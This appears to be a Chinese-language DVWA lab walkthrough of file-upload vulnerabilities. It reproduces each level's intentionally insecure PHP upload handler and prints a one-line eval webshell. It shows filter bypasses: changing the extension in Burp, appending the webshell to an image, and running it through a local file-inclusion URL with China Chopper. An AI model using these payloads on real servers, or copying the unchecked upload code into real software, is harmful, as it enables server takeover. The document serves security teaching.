总结了dvwa中的文件上传漏洞关卡
Low
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
if(isset($_POST['upload'])){ $target_path="C:/phpStudy/PHPTutorial/WWW/demo/file-upload/uploaded/"; $target_path .= basename($_FILES['file']['name']); if(!move_uploaded_file($_FILES['file']['tmp_name'],$target_path)){ echo '<pre>Your image was not uploaded.</pre>'; } else{ echo "<pre>{$target_path} succesfully uploaded!</pre>"; } }
?>
|
这部分内容涉及文件上传,我们先认识一下如何上传一个文件到服务器
表单标签部分:
1 2 3 4 5 6 7 8 9
| <form action="" method="post" enctype="multipart/form-data"> <p>Choose an image to upload:</p> <p> <input type="file" name="file"> </p> <p> <input type="submit" name="upload" value="upload"> </p> </form>
|
这里特别注意的是form标签中的entype属性规定了提交表单后如何对提交的数据进行编码,在表单需要提交二进制数据时,比如文件内容,要使用“multipart/form-data”
同时这里用了一个全局变量$_FILES
举个例子说明用法
1 2 3 4 5 6 7 8 9 10 11
| <?php
if(isset($_POST['upload'])){ echo 'name:'.$_FILES['file']['name'].'<br>'; echo 'type:'.$_FILES['file']['type'].'<br>'; echo 'tmp_name:'.$_FILES['file']['tmp_name'].'<br>'; echo 'size:'.$_FILES['file']['size'].'<br>'; echo basename($_FILES['file']['name']); }
?>
|
这里需要注意服务器接受的POST参数是upload,全局变量$_FILES,代表了上传到服务器的文件信息
其中
1 2 3 4 5 6 7 8
| $_FILES[‘file‘][‘name’] : 代表上传文件的名称
$_FILES[‘file’][‘size’] : 代表上传文件的大小
$_FILES[‘file’][‘tmp_name’] : 代表上传的文件存储的临时路径
$_FILES[‘file’][‘type’] : 代表上传文件的类型
|
我们上传一个png文件试试
basename函数返回的是文件名,如果参数省略,则返回的文件名包含后缀
1
| echo basename($_FILES['file']['name'],'.png');
|
如果过滤掉.png后缀名,则上传png文件是不会返回.png的后缀名
move_uploaded_file函数作用是将我们上传的文件从临时目录移动到指定目录下,成功返回true,失败则返回false
我们试着上传一个png文件
看出上传成功
由于这里对我们上传的文件没有任何的检查,过滤等操作,因此我们可以上传任意木马文件,得到webshell,这就是文件上传漏洞
我们上传一句话木马到服务器,文件名为test.php
一句话木马代码为:
1
| <?php eval($_POST['apple']); ?>
|
打开中国菜刀
输入文件名所在地,然后POST的参数名称为apple
然后菜刀就会向服务器发送包含apple参数的POST请求,最终获得服务器的webshell权限
Medium
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
if(isset($_POST['upload'])){ $name=$_FILES['file']['name']; $size=$_FILES['file']['size']; $type=$_FILES['file']['type'];
if(($type == "image/png" || $type == "image/jpeg") && $size < 100000){ $target_path="C:/phpStudy/PHPTutorial/WWW/demo/file-upload/uploaded/"; $target_path .= basename($name); if(!move_uploaded_file($_FILES['file']['tmp_name'],$target_path)){ echo '<pre>Your image was not uploaded.</pre>'; } else{ echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else{ echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
?>
|
这关对上传文件进行了一些过滤,可以看出只能上传jpg和png为后缀名的文件,并且文件大小不能超过100000B,因为我们上传的是一句话木马文件,所以不用担心文件大小超过限制,现在要考虑的是如何绕过后缀名的限制
我们先试着把一句话木马文件后缀名改为图片文件,然后上传
可以看到上传成功
那么我们打开中国菜刀,看看能不能获得webshell
获取webshell失败
可见图片文件是不行的,执行不了POST到服务器的命令
那么我们可以考虑用burp抓包,将文件名修改为test.php
可以看到我们上传的文件类型是png,是图片文件,符合条件上传成功,但是因为上传后图片就是png文件,所以菜刀POST到服务器的相关命令无法执行,所以我们要将上传成功后的文件名修改为php文件,这样就可以成功执行命令
成功上传,再上菜刀
成功获得webshell
High
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
if(isset($_POST['upload'])){ $name=$_FILES['file']['name']; $tmp_name=$_FILES['file']['tmp_name']; $size=$_FILES['file']['size']; $txt=substr($name,strrpos($name,'.')+1);
if((strtolower($txt) == 'jpg' || strtolower($txt) == 'jpeg' || strtolower($txt) == 'png') && $size < 100000 && getimagesize($tmp_name)){ $target_path="C:/phpStudy/PHPTutorial/WWW/demo/file-upload/uploaded/"; $target_path .= basename($name); if(!move_uploaded_file($tmp_name,$target_path)){ echo '<pre>Your image was not uploaded.</pre>'; } else{ echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else{ echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
?>
|
先了解几个函数
strpos:搜索字符串在另一字符串中第一次出现的位置(区分大小写)
stripos:搜索字符串在另一字符串中第一次出现的位置(不区分大小写)
strrpos:搜索字符串在另一字符串中最后一次出现的位置(区分大小写)
strripos:搜索字符串在另一字符串中最后一次出现的位置(不区分大小写)
举个例子说明:
1 2 3 4 5 6 7 8 9 10 11
| <?php
$str="I love php,the greatest language is php.";
echo stripos($str,'PHP')."<br>"; echo strpos($str,'PHP')."<br>"; echo strrpos($str,'PHP')."<br>"; echo strrpos($str,'php')."<br>"; echo strripos($str,'PHP')."<br>";
?>
|
执行结果:
而getimagesize函数会检测上传文件头,如果不包含相关的图片文件头,则报错
也就是说我们上传的文件名后缀必须是jpg,jepg,png,而且文件头必须是图像类型
在上一关中,是对上传文件的类型进行检查,如果不是图片类型则过滤,所以我们可以用burpsuite将发向服务器的请求中的文件名改为.php的后缀,这样类型依然是图片,就能巧妙的绕过过滤
而这一关是对上传文件的名字进行了检查,名字的后缀必须是.jpg或者.png或者.jpeg,而且文件的头信息必须是图片,上一关的方法修改文件名明显行不通,也就是说我们必须老实上传一个图片文件
但是我们可以将php代码加入到图片中
我们先创建一个一句话木马文件和一个图片文件
再打开cmd,利用copy命令将两个文件合并为一个文件
打开合并后的文件可以看到,一句话木马被加到了最后
然后上传
成功通过检查
接下来打开菜刀
右键添加
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/hack.jpg
参数名写apple,脚本语言选择php
成功拿到webshell